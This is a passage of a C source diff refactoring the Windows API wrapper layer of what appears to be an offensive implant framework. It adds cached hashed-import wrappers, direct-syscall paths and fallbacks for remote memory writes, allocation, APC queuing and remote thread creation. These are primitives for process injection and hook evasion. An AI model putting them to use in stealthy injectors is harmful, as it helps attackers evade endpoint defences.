winapi_ntdll_ZwWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) { ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)Buffer, (ULONG_PTR)NumberOfBytesToWrite, (ULONG_PTR)NumberOfBytesWritten }; return SyscallStub(lpWinApiSyscalls[ZwWriteVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); } -NTSTATUS winapi_ntdll_ZwReadVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead) { - ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)Buffer, (ULONG_PTR)NumberOfBytesToRead, (ULONG_PTR)NumberOfBytesRead }; - return SyscallStub(lpWinApiSyscalls[ZwReadVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); +NTSTATUS winapi_ntdll_ZwFlushInstructionCache(HANDLE ProcessHandle, LPCVOID BaseAddress, SIZE_T NumberOfBytesToFlush) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)NumberOfBytesToFlush }; + return SyscallStub(lpWinApiSyscalls[ZwFlushInstructionCache], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); +} + +NTSTATUS winapi_ntdll_ZwReadVirtualMemory(HANDLE ProcessHandle, LPCVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)Buffer, (ULONG_PTR)NumberOfBytesToRead, (ULONG_PTR)NumberOfBytesRead }; + return SyscallStub(lpWinApiSyscalls[ZwReadVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwReadVirtualMemory)(HANDLE, LPCVOID, PVOID, SIZE_T, PSIZE_T) = GetFunctionH(NTDLL_DLL, H_ZwReadVirtualMemory); + dprintf("[WINAPI][winapi_ntdll_ZwReadVirtualMemory] Calling ZwReadVirtualMemory @ %p", pZwReadVirtualMemory); + if (pZwReadVirtualMemory) { + return pZwReadVirtualMemory(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead); + } + } + return 0xC0000001; } NTSTATUS winapi_ntdll_ZwProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect) { @@ -330,32 +538,19 @@ NTSTATUS winapi_ntdll_ZwFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddre return SyscallStub(lpWinApiSyscalls[ZwFreeVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); } -NTSTATUS winapi_ntdll_ZwQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) { - NTSTATUS (NTAPI *pZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2) = GetFunctionH(NTDLL_DLL, H_ZwQueueApcThread); - dprintf("[WINAPI][winapi_ntdll_ZwQueueApcThread] Calling ZwQueueApcThread @ %p", pZwQueueApcThread); - if (pZwQueueApcThread) { - return pZwQueueApcThread(ThreadHandle, ApcRoutine, ApcContext, Argument1, Argument2); - } - return 0xC0000001; // STATUS_UNSUCCESSFUL -} +DEFINE_CACHED_WINAPI_WRAPPER(NTSTATUS, winapi_ntdll_ZwQueueApcThread, NTAPI, NTDLL_DLL, H_ZwQueueApcThread, + (HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2), + (ThreadHandle, ApcRoutine, ApcContext, Argument1, Argument2), 0xC0000001) -NTSTATUS winapi_ntdll_ZwOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) { - NTSTATUS (NTAPI *pZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) = GetFunctionH(NTDLL_DLL, H_ZwOpenThread); - dprintf("[WINAPI][winapi_ntdll_ZwOpenThread] Calling ZwOpenThread @ %p", pZwOpenThread); - if (pZwOpenThread) { - return pZwOpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId); - } - return 0xC0000001; // STATUS_UNSUCCESSFUL -} +DEFINE_CACHED_WINAPI_WRAPPER(NTSTATUS, winapi_ntdll_ZwOpenThread, NTAPI, NTDLL_DLL, H_ZwOpenThread, + (PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId), + (ThreadHandle, DesiredAccess, ObjectAttributes, ClientId), 0xC0000001) -NTSTATUS winapi_ntdll_RtlGetVersion(PRTL_OSVERSIONINFOEXW os) { - NTSTATUS (NTAPI *pRtlGetVersion)(PRTL_OSVERSIONINFOEXW os) = GetFunctionH(NTDLL_DLL, H_RtlGetVersion); - dprintf("[WINAPI][winapi_ntdll_RtlGetVersion] Calling RtlGetVersion @ %p", pRtlGetVersion); - if(pRtlGetVersion) { - return pRtlGetVersion(os); - } - return 0xC0000001; -} +DEFINE_CACHED_WINAPI_WRAPPER(NTSTATUS, winapi_ntdll_RtlGetVersion, NTAPI, NTDLL_DLL, H_RtlGetVersion, + (PRTL_OSVERSIONINFOEXW os), (os), 0xC0000001) + +DEFINE_CACHED_WINAPI_WRAPPER(ULONG, winapi_ntdll_RtlNtStatusToDosError, NTAPI, NTDLL_DLL, H_RtlNtStatusToDosError, + (NTSTATUS Status), (Status), ERROR_GEN_FAILURE) NTSTATUS winapi_ntdll_ZwQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) { if (hasDirectSyscallSupport()) { @@ -427,14 +622,9 @@ NTSTATUS winapi_ntdll_ZwSetIoCompletion(HANDLE IoCompletionHandle, PVOID KeyCont return 0xC0000001; } -NTSTATUS winapi_ntdll_RtlCreateUserThread(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId) { - NTSTATUS (NTAPI *pRtlCreateUserThread)(HANDLE, PVOID, BOOL, ULONG, SIZE_T, SIZE_T, PVOID, PVOID, PHANDLE, PVOID) = GetFunctionH(NTDLL_DLL, H_RtlCreateUserThread); - dprintf("[WINAPI][winapi_ntdll_RtlCreateUserThread] Calling RtlCreateUserThread @ %p", pRtlCreateUserThread); - if (pRtlCreateUserThread) { - return pRtlCreateUserThread(ProcessHandle, SecurityDescriptor, CreateSuspended, StackZeroBits, StackReserve, StackCommit, StartAddress, StartParameter, ThreadHandle, ClientId); - } - return 0xC0000001; -} +DEFINE_CACHED_WINAPI_WRAPPER(NTSTATUS, winapi_ntdll_RtlCreateUserThread, NTAPI, NTDLL_DLL, H_RtlCreateUserThread, + (HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId), + (ProcessHandle, SecurityDescriptor, CreateSuspended, StackZeroBits, StackReserve, StackCommit, StartAddress, StartParameter, ThreadHandle, ClientId), 0xC0000001) NTSTATUS winapi_ntdll_ZwMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect) { if (hasDirectSyscallSupport()) { @@ -533,79 +723,209 @@ NTSTATUS winapi_ntdll_ZwLockVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddre } return 0xC0000001; } + +NTSTATUS winapi_ntdll_ZwUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress }; + return SyscallStub(lpWinApiSyscalls[ZwUnmapViewOfSection], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwUnmapViewOfSection)(HANDLE, PVOID) = GetFunctionH(NTDLL_DLL, H_ZwUnmapViewOfSection); + dprintf("[WINAPI][winapi_ntdll_ZwUnmapViewOfSection] Calling ZwUnmapViewOfSection @ %p", pZwUnmapViewOfSection); + if (pZwUnmapViewOfSection) { + return pZwUnmapViewOfSection(ProcessHandle, BaseAddress); + } + } + return 0xC0000001; +} // END: ntdll.dll // START: kernel32.dll +static BOOL winapi_NtStatusSucceeded(NTSTATUS status) +{ + if (status >= STATUS_SUCCESS) { + return TRUE; + } + + SetLastError(winapi_ntdll_RtlNtStatusToDosError(status)); + return FALSE; +} + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_WriteProcessMemoryFallback, WINAPI, KERNEL32_DLL, H_WriteProcessMemory, + (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten), + (hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten), FALSE) + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_ReadProcessMemoryFallback, WINAPI, KERNEL32_DLL, H_ReadProcessMemory, + (HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead), + (hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead), FALSE) + +static BOOL winapi_IsWritableProtection(DWORD protection) +{ + if ((protection & PAGE_GUARD) != 0) { + return FALSE; + } + + switch (protection & 0xff) { + case PAGE_READWRITE: + case PAGE_WRITECOPY: + case PAGE_EXECUTE_READWRITE: + case PAGE_EXECUTE_WRITECOPY: + return TRUE; + default: + return FALSE; + } +} + +static BOOL winapi_kernel32_WriteProcessMemoryRequiresFallback(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T nSize) +{ + ULONG_PTR currentAddress = (ULONG_PTR)lpBaseAddress; + ULONG_PTR maximumAddress = (ULONG_PTR)-1; + ULONG_PTR endAddress; + + if (nSize == 0) { + return FALSE; + } + if (nSize > (SIZE_T)(maximumAddress - currentAddress)) { + return TRUE; + } + endAddress = currentAddress + nSize; + + while (currentAddress < endAddress) { + MEMORY_BASIC_INFORMATION memory = {0}; + SIZE_T returnLength = 0; + ULONG_PTR regionBase; + ULONG_PTR nextAddress; + NTSTATUS status = winapi_ntdll_ZwQueryVirtualMemory( + hProcess, + (PVOID)currentAddress, + MemoryBasicInformation, + &memory, + sizeof(memory), + &returnLength); + + if (status < STATUS_SUCCESS || returnLength == 0 || memory.RegionSize == 0) { + return TRUE; + } + if (memory.State == MEM_COMMIT && !winapi_IsWritableProtection(memory.Protect)) { + return TRUE; + } + + regionBase = (ULONG_PTR)memory.BaseAddress; + if (memory.RegionSize > (SIZE_T)(maximumAddress - regionBase)) { + return TRUE; + } + nextAddress = regionBase + memory.RegionSize; + if (nextAddress <= currentAddress) { + return TRUE; + } + currentAddress = nextAddress; + } + + return FALSE; +} + BOOL winapi_kernel32_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten) { if (hasDirectSyscallSupport()) { - NTSTATUS dwStatus = winapi_ntdll_ZwWriteVirtualMemory(hProcess, lpBaseAddress, (LPVOID)lpBuffer, (ULONG)nSize, (PULONG)lpNumberOfBytesWritten); + // Kernel32 temporarily changes committed non-writable pages while + // servicing debugger-style writes. Keep that compatibility behavior + // in the private export fallback; ordinary writable ranges stay on + // the direct ZwWriteVirtualMemory path. + if (winapi_kernel32_WriteProcessMemoryRequiresFallback(hProcess, lpBaseAddress, nSize)) { + return winapi_kernel32_WriteProcessMemoryFallback(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten); + } + + NTSTATUS dwStatus = winapi_ntdll_ZwWriteVirtualMemory(hProcess, lpBaseAddress, (LPVOID)lpBuffer, nSize, lpNumberOfBytesWritten); dprintf("[WINAPI][winapi_kernel32_WriteProcessMemory] Syscall ZwWriteVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten) = GetFunctionH(KERNEL32_DLL, H_WriteProcessMemory); - dprintf("[WINAPI][winapi_kernel32_WriteProcessMemory] Calling WriteProcessMemory @ %p", pWriteProcessMemory); - if (pWriteProcessMemory) { - return pWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten); + if (!winapi_NtStatusSucceeded(dwStatus)) { + return FALSE; } + + // Match WriteProcessMemory's cache-coherency behavior. The flush result + // does not change whether the bytes were written successfully. + winapi_kernel32_FlushInstructionCache(hProcess, lpBaseAddress, nSize); + return TRUE; } - return FALSE; + + return winapi_kernel32_WriteProcessMemoryFallback(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten); } BOOL winapi_kernel32_ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead) { if (hasDirectSyscallSupport()) { - NTSTATUS dwStatus = winapi_ntdll_ZwReadVirtualMemory(hProcess, (LPVOID)lpBaseAddress, lpBuffer, (ULONG)nSize, (PULONG)lpNumberOfBytesRead); + NTSTATUS dwStatus = winapi_ntdll_ZwReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); dprintf("[WINAPI][winapi_kernel32_ReadProcessMemory] Syscall ZwReadVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pReadProcessMemory)(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead) = GetFunctionH(KERNEL32_DLL, H_ReadProcessMemory); - dprintf("[WINAPI][winapi_kernel32_ReadProcessMemory] Calling ReadProcessMemory @ %p", pReadProcessMemory); - if (pReadProcessMemory) { - return pReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); - } + return winapi_NtStatusSucceeded(dwStatus); } - return FALSE; + + return winapi_kernel32_ReadProcessMemoryFallback(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); } +static DEFINE_CACHED_WINAPI_WRAPPER(HANDLE, winapi_kernel32_OpenProcessFallback, WINAPI, KERNEL32_DLL, H_OpenProcess, + (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId), + (dwDesiredAccess, bInheritHandle, dwProcessId), NULL) + HANDLE winapi_kernel32_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) { if (hasDirectSyscallSupport()) { OBJECT_ATTRIBUTES objAttributes = {0}; objAttributes.Length = sizeof(OBJECT_ATTRIBUTES); - CLIENT_ID clientId; + objAttributes.Attributes = bInheritHandle ? OBJ_INHERIT : 0; + CLIENT_ID clientId = {0}; HANDLE hProcess = NULL; - clientId.UniqueThread = NULL; clientId.UniqueProcess = (HANDLE)((ULONG_PTR)dwProcessId); NTSTATUS dwStatus = winapi_ntdll_ZwOpenProcess(&hProcess, dwDesiredAccess, &objAttributes, &clientId); dprintf("[WINAPI][winapi_kernel32_OpenProcess] Syscall ZwOpenProcess returned: %d", dwStatus); - if (dwStatus == STATUS_SUCCESS) { + if (winapi_NtStatusSucceeded(dwStatus)) { return hProcess; } - } else { - HANDLE (WINAPI *pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) = GetFunctionH(KERNEL32_DLL, H_OpenProcess); - dprintf("[WINAPI][winapi_kernel32_OpenProcess] Calling OpenProcess @ %p", pOpenProcess); - if (pOpenProcess) { - return pOpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId); - } + return NULL; } - return NULL; + + return winapi_kernel32_OpenProcessFallback(dwDesiredAccess, bInheritHandle, dwProcessId); } +static DEFINE_CACHED_WINAPI_WRAPPER(LPVOID, winapi_kernel32_VirtualAllocFallback, WINAPI, KERNEL32_DLL, H_VirtualAlloc, + (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect), + (lpAddress, dwSize, flAllocationType, flProtect), NULL) + +static DEFINE_CACHED_WINAPI_WRAPPER(LPVOID, winapi_kernel32_VirtualAllocExFallback, WINAPI, KERNEL32_DLL, H_VirtualAllocEx, + (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect), + (hProcess, lpAddress, dwSize, flAllocationType, flProtect), NULL) + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualProtectFallback, WINAPI, KERNEL32_DLL, H_VirtualProtect, + (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect), + (lpAddress, dwSize, flNewProtect, lpflOldProtect), FALSE) + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualProtectExFallback, WINAPI, KERNEL32_DLL, H_VirtualProtectEx, + (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect), + (hProcess, lpAddress, dwSize, flNewProtect, lpflOldProtect), FALSE) + +static DEFINE_CACHED_WINAPI_WRAPPER(SIZE_T, winapi_kernel32_VirtualQueryFallback, WINAPI, KERNEL32_DLL, H_VirtualQuery, + (LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength), + (lpAddress, lpBuffer, dwLength), 0) + +static DEFINE_CACHED_WINAPI_WRAPPER(SIZE_T, winapi_kernel32_VirtualQueryExFallback, WINAPI, KERNEL32_DLL, H_VirtualQueryEx, + (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength), + (hProcess, lpAddress, lpBuffer, dwLength), 0) + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualFreeFallback, WINAPI, KERNEL32_DLL, H_VirtualFree, + (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType), + (lpAddress, dwSize, dwFreeType), FALSE) + +static DEFINE_CACHED_WINAPI_WRAPPER(BOOL, winapi_kernel32_VirtualFreeExFallback, WINAPI, KERNEL32_DLL, H_VirtualFreeEx, + (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType), + (hProcess, lpAddress, dwSize, dwFreeType), FALSE) + LPVOID winapi_kernel32_VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { if (hasDirectSyscallSupport()) { LPVOID lpBaseAddr = lpAddress; SIZE_T dwDataSize = dwSize; NTSTATUS dwStatus = winapi_ntdll_ZwAllocateVirtualMemory(GetCurrentProcess(), &lpBaseAddr, 0, &dwDataSize, flAllocationType, flProtect); dprintf("[WINAPI][winapi_kernel32_VirtualAlloc] Syscall ZwAllocateVirtualMemory returned: %d", dwStatus); - if (dwStatus == STATUS_SUCCESS) { + if (winapi_NtStatusSucceeded(dwStatus)) { return lpBaseAddr; } - } else { - LPVOID (WINAPI *pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = GetFunctionH(KERNEL32_DLL, H_VirtualAlloc); - dprintf("[WINAPI][winapi_kernel32_VirtualAlloc] Calling VirtualAlloc @ %p", pVirtualAlloc); - if (pVirtualAlloc) { - return pVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); - } + return NULL; } - return NULL; + + return winapi_kernel32_VirtualAllocFallback(lpAddress, dwSize, flAllocationType, flProtect); } LPVOID winapi_kernel32_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { @@ -614,67 +934,51 @@ LPVOID winapi_kernel32_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T SIZE_T dwDataSize = dwSize; NTSTATUS dwStatus = winapi_ntdll_ZwAllocateVirtualMemory(hProcess, &lpBaseAddr, 0, &dwDataSize, flAllocationType, flProtect); dprintf("[WINAPI][winapi_kernel32_VirtualAllocEx] Syscall ZwAllocateVirtualMemory returned: %d", dwStatus); - if (dwStatus == STATUS_SUCCESS) { + if (winapi_NtStatusSucceeded(dwStatus)) { return lpBaseAddr; } - } else { - LPVOID (WINAPI *pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = GetFunctionH(KERNEL32_DLL, H_VirtualAllocEx); - dprintf("[WINAPI][winapi_kernel32_VirtualAllocEx] Calling VirtualAllocEx @ %p", pVirtualAllocEx); - if (pVirtualAllocEx) { - return pVirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect); - } + return NULL; } - return NULL; + + return winapi_kernel32_VirtualAllocExFallback(hProcess, lpAddress, dwSize, flAllocationType, flProtect); } BOOL winapi_kernel32_VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) { if (hasDirectSyscallSupport()) { + LPVOID lpBaseAddr = lpAddress; SIZE_T dwDataSize = dwSize; - NTSTATUS dwStatus = winapi_ntdll_ZwProtectVirtualMemory(GetCurrentProcess(), &lpAddress, &dwDataSize, flNewProtect, lpflOldProtect); + NTSTATUS dwStatus = winapi_ntdll_ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddr, &dwDataSize, flNewProtect, lpflOldProtect); dprintf("[WINAPI][winapi_kernel32_VirtualProtect] Syscall ZwProtectVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) = GetFunctionH(KERNEL32_DLL, H_VirtualProtect); - dprintf("[WINAPI][winapi_kernel32_VirtualProtect] Calling VirtualProtect @ %p", pVirtualProtect); - if (pVirtualProtect) { - return pVirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect); - } + return winapi_NtStatusSucceeded(dwStatus); } - return FALSE; + + return winapi_kernel32_VirtualProtectFallback(lpAddress, dwSize, flNewProtect, lpflOldProtect); } BOOL winapi_kernel32_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) { if (hasDirectSyscallSupport()) { + LPVOID lpBaseAddr = lpAddress; SIZE_T dwDataSize = dwSize; - NTSTATUS dwStatus = winapi_ntdll_ZwProtectVirtualMemory(hProcess, lpAddress, &dwDataSize, flNewProtect, lpflOldProtect); + NTSTATUS dwStatus = winapi_ntdll_ZwProtectVirtualMemory(hProcess, &lpBaseAddr, &dwDataSize, flNewProtect, lpflOldProtect); dprintf("[WINAPI][winapi_kernel32_VirtualProtectEx] Syscall ZwProtectVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pVirtualProtectEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) = GetFunctionH(KERNEL32_DLL, H_VirtualProtectEx); - dprintf("[WINAPI][winapi_kernel32_VirtualProtectEx] Calling VirtualProtectEx @ %p", pVirtualProtectEx); - if (pVirtualProtectEx) { - return pVirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, lpflOldProtect); - } + return winapi_NtStatusSucceeded(dwStatus); } - return FALSE; + + return winapi_kernel32_VirtualProtectExFallback(hProcess, lpAddress, dwSize, flNewProtect, lpflOldProtect); } SIZE_T winapi_kernel32_VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) { if (hasDirectSyscallSupport()) { SIZE_T returnLength = 0; - NTSTATUS dwStatus = winapi_ntdll_ZwQueryVirtualMemory(GetCurrentProcess(), (LPVOID)lpAddress, MemoryBasicInformation, lpBuffer, sizeof(MEMORY_BASIC_INFORMATION), &returnLength); + NTSTATUS dwStatus = winapi_ntdll_ZwQueryVirtualMemory(GetCurrentProcess(), (LPVOID)lpAddress, MemoryBasicInformation, lpBuffer, dwLength, &returnLength); dprintf("[WINAPI][winapi_kernel32_VirtualQuery] Syscall ZwQueryVirtualMemory returned: %d", dwStatus); - if (dwStatus == STATUS_SUCCESS) { + if (winapi_NtStatusSucceeded(dwStatus)) { return returnLength; } - } else { - SIZE_T (WINAPI *pVirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) = GetFunctionH(KERNEL32_DLL, H_VirtualQuery); - dprintf("[WINAPI][winapi_kernel32_VirtualQuery] Calling VirtualQuery @ %p", pVirtualQuery); - if (pVirtualQuery) { - return pVirtualQuery(lpAddress, lpBuffer, dwLength); - } + return 0; } - return 0; + + return winapi_kernel32_VirtualQueryFallback(lpAddress, lpBuffer, dwLength); } SIZE_T winapi_kernel32_VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) { @@ -682,1227 +986,896 @@ SIZE_T winapi_kernel32_VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMOR SIZE_T returnLength = 0; NTSTATUS dwStatus = winapi_ntdll_ZwQueryVirtualMemory(hProcess, (LPVOID)lpAddress, MemoryBasicInformation, lpBuffer, dwLength, &returnLength); dprintf("[WINAPI][winapi_kernel32_VirtualQueryEx] Syscall ZwQueryVirtualMemory returned: %d", dwStatus); - if (dwStatus == STATUS_SUCCESS) { + if (winapi_NtStatusSucceeded(dwStatus)) { return returnLength; } - } else { - SIZE_T (WINAPI *pVirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) = GetFunctionH(KERNEL32_DLL, H_VirtualQueryEx); - dprintf("[WINAPI][winapi_kernel32_VirtualQueryEx] Calling VirtualQueryEx @ %p", pVirtualQueryEx); - if (pVirtualQueryEx) { - return pVirtualQueryEx(hProcess, lpAddress, lpBuffer, dwLength); - } + return 0; } - return 0; + + return winapi_kernel32_VirtualQueryExFallback(hProcess, lpAddress, lpBuffer, dwLength); } BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) { if (hasDirectSyscallSupport()) { + LPVOID lpBaseAddr = lpAddress; SIZE_T dwDataSize = dwSize; - NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(GetCurrentProcess(), lpAddress, &dwDataSize, dwFreeType); + NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(GetCurrentProcess(), &lpBaseAddr, &dwDataSize, dwFreeType); dprintf("[WINAPI][winapi_kernel32_VirtualFree] Syscall ZwFreeVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pVirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) = GetFunctionH(KERNEL32_DLL, H_VirtualFree); - dprintf("[WINAPI][winapi_kernel32_VirtualFree] Calling VirtualFree @ %p", pVirtualFree); - if (pVirtualFree) { - return pVirtualFree(lpAddress, dwSize, dwFreeType); - } + return winapi_NtStatusSucceeded(dwStatus); } - return FALSE; + + return winapi_kernel32_VirtualFreeFallback(lpAddress, dwSize, dwFreeType); } BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) { if (hasDirectSyscallSupport()) { + LPVOID lpBaseAddr = lpAddress; SIZE_T dwDataSize = dwSize; - NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(hProcess, &lpAddress, &dwDataSize, dwFreeType); + NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(hProcess, &lpBaseAddr, &dwDataSize, dwFreeType); dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Syscall ZwFreeVirtualMemory returned: %d", dwStatus); - return dwStatus == STATUS_SUCCESS; - } else { - BOOL (WINAPI *pVirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) = GetFunctionH(KERNEL32_DLL, H_VirtualFreeEx); - dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Calling VirtualFreeEx @ %p", pVirtualFreeEx); - if (pVirtualFreeEx) { - return pVirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType); - } - } - return FALSE; -} - -HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, 